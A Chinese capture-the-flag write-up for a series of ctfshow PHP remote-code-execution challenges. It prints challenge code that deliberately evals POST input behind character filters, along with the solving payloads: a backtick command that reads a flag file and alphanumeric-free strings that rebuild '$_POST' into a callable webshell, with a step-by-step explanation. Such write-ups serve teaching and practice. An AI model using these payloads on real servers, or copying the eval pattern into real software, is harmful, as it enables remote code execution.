ctfshow RCE极限挑战
RCE1
<?php
error_reporting(0);
highlight_file(__FILE__);
$code = $_POST['code'];
$code = str_replace("(","括号",$code);
$code = str_replace(".","点",$code);
eval($code);
?>
code=echo `cat /f1agaaa`;
RCE2
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow)) {
if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
?>
$_=(_._/_)[_==_];$__=++$_;$__=_.++$_.$__;$_++;$_++;$__.=++$_.++$_;$$__[__]($$__[_]);
直接掏出之前的payload
RCE3
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) && strlen($ctfshow) <= 105) {
if (!preg_match("/[a-zA-Z2-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
?>
这道题也一样
RCE4
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) && strlen($ctfshow) <= 84) {
if (!preg_match("/[a-zA-Z1-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
?>
这道题也一样
RCE5
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) && strlen($ctfshow) <= 73) {
if (!preg_match("/[a-zA-Z0-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
?>
这道题的长度限制有点严,得重新优化一下这个payload,看了一下别人的payload拿到下面这个payload
$_=(_/_._)[_];$_++;$a=$_.$_++;$_++;$_++;$a=_.$a.++$_.++$_;$$a[a]($$a[_]);
其中$a替换成$%ff
这里简单讲解一下:
$payload = _.$a.$a++;
step1: _.$a _o // 第一步执行'_'.'o'的操作,得到一个_o字符串
step2: $a=p // 第二步执行$a++操作,也就是让$a自增之前的值参与运算,再参与运算之后将$a='p'
step3: _o . o //第三步将_o字符串与o字符进行拼接,其实这里第二步和第三步是同时进行的,最终$a的值变为p
result: _oo
$payload = $a.$a++;
step1: o $a=p // 这里因为不存在第一步的_和o拼接操作所以执行$a++操作,将$a原本的值参与运算,然后将a的值立马自增1
step2: p . o //第二步取$a的值与第一步参与运算的o进行拼接,因为在第一步的时候a已经自增成为了p,也就是p跟o拼接,最终得到了po这个字符串